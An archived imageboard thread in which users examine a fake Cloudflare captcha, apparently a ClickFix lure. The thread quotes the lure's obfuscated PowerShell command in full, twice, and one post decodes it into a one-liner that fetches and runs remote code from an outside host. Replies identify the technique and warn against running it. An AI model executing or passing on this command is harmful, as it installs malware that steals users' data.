[a / b / c / d / e / f / g / gif / h / hr / k / m / o / p / s / t / u / v / vg / vm / vmg / vr / vrpg / vst / w / wg] [i / ic] [r9k / s4s / vip] [cm / hm / lgbt / y] [3 / aco / adv / an / bant / biz / cgl / ck / co / diy / fa / fit / gd / hc / his / int / jp / lit / mlp / mu / n / news / out / po / pol / pw / qst / sci / soc / sp / tg / toy / trv / tv / vp / vt / wsg / wsr / x / xs] [Settings] [Search] [Mobile] [Home]
Board
▼ Settings Mobile Home
/g/ - Technology
Return Catalog Bottom Refresh
Thread archived.
You cannot reply anymore.
[Advertise on 4chan]
[Return] [Catalog] [Bottom]
Anonymous Archived
cloud flare Clown world No.109622603
File: file.png (41 KB, 827x717)
41 KB PNG
cloud flare Clown world  No.109622603 Archived
I just got this shit.
I wants me to run this crap
powershell start powershell -wi h '-En JgAoACgAWwBzAHQAcgBpAG4AZwBdAFsAcwB0AHIAaQBuAGcAXQApAFsAMwBdACsAJwBlAHgAJwApACgAaQByAG0AIAB6AGMAYQBsAHQAbwBuAC4AYwBvAG0ALwBiADIALgB0AHgAdAApAA==';I am human - ID 2d3152es


I am not executing that script faggot.png
>>
the_engineer !!Y2ZMV8ADfBM
 No.109622611
 No.109622611
>>109622603
top jej cloudflare starting to infect its users
>>
Anonymous
 No.109622620
 No.109622620
>>109622611
I do not even think that is the real cloud flare.
Did they change their logo on top?
>>
Anonymous
 No.109622635
 No.109622635
File: Dokuro-chan.gif (36 KB, 200x200)
36 KB GIF
Someone reverse engineer that and tell me what it does
>>
Anonymous
 No.109622646
 No.109622646
>>109622635
&(([string][string])[3]+'ex')(irm zcalton.com/b2.txt)

now, the real question is what awful dogshit does that shitty website have.
>>
Anonymous
 No.109622647
 No.109622647
>>109622635
It obviously launches power shell (a big NO NO) with -wi h ???? and I think the rest is code in HEX or some shit for obfuscation.
>>
Anonymous
 No.109622656
 No.109622656
>>109622603
>>109622646
I got this captch on https://batcave.biz/ for your information.
>>
Anonymous
 No.109622659
 No.109622659
>>109622635
ClickFix attacks are almost always infostealers
>>
Anonymous
 No.109622664
 No.109622664
>>109622656
you should totally give the chinese whatever the fuck this 300kb of text is I swear it's not a virus.

https://archive.is/sxaV8

totally not a massive fucking risk (after bouncing from b2.txt -> b1.txt)
>>
Anonymous
 No.109622668
 No.109622668
>>109622659
>almost alway
so you're telling there's a chance
>>
Anonymous
 No.109622671
 No.109622671
>>109622611
>>109622635
Another proof that viruses are fake and you need to enter lot of shit to get infected by malware.
>>
Anonymous
 No.109622684
 No.109622684
>>109622664
Now I am curious to run that shit in a VM to see what will happen!
>>
Anonymous
 No.109622685
 No.109622685
>>109622668
yeah there's a chance it's a different type of virus like a RAT
>>
Anonymous
 No.109622759
 No.109622759
>>109622656
https://tria.ge/260822-z5mxaszbka/behavioral1#:~:text=Replay%20Monitor

got nothing.
>>
Anonymous
 No.109622811
 No.109622811
Cloudflare itself looks very shady. This only looks twice as shady as the real Cloudflare.
>>
Anonymous
 No.109622824
 No.109622824
>>109622603
that's not CF you boomer mongrel, it's known fishing attack holy shit, everywhere but /g/, get out
>>
Anonymous
 No.109622902
 No.109622902
i ain't clicking any of these
>>
Anonymous
 No.109622916
 No.109622916
>>109622759
>>109622603
https://tria.ge/260822-1pq5fsvtew/behavioral1#:~:text=Replay%20Monitor

nothing happened?
>>
Anonymous
 No.109623022
 No.109623022
Here's an AIslop analysis:
https://grok.com/share/c2hhcmQtNQ_f4049437-6e26-4b98-82a6-1d22c41eab83
It correctly found the payload (an msi installer) but I haven't dug any deeper beyond uploading it to Virustotal.
>>
Anonymous
 No.109623292
 No.109623292
I tried to run it for you but something went wrong.

powershell start powershell -wi h '-En JgAoACgAWwBzAHQAcgBpAG4AZwBdAFsAcwB0AHIAaQBuAGcAXQApAFsAMwBdACsAJwBlAHgAJwApACgAaQByAG0AIAB6AGMAYQBsAHQAbwBuAC4AYwBvAG0ALwBiADIALgB0AHgAdAApAA==';I am human - ID 2d3152es
bash: powershell: command not found
bash: I: command not found
>>
Anonymous
 No.109623451
 No.109623451
so simple and genius!
>>
Anonymous
 No.109623471
 No.109623471
Look up "clickfix"

This is the type of malware delivery you're seeing here.
>>
Anonymous
 No.109623487
 No.109623487
>>109622603
you thought it was a good idea reposting a malware script?
>>
Anonymous
 No.109623494
 No.109623494
File: 1780545315625417.png (207 KB, 949x980)
207 KB PNG
>>109622603
>>
Anonymous
 No.109623621
 No.109623621
imagine being so retarded you fall for a malware campaign and make a post about it on the basket weaving forum.
>>
Anonymous
 No.109623636
 No.109623636
>>109623621
isn't it the purpose of this website
>>
Anonymous
 No.109624173
 No.109624173
>>109623292
>I tried to run it but something went wrong.
nothing unusual, normal lunix experience
[Return] [Catalog] [Top]
Post a Reply
Return Catalog Top Refresh
[Advertise on 4chan]
Delete Post: [File Only] Style:
[Disable Mobile View / Use Desktop Site]

[Enable Mobile View / Use Mobile Site]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.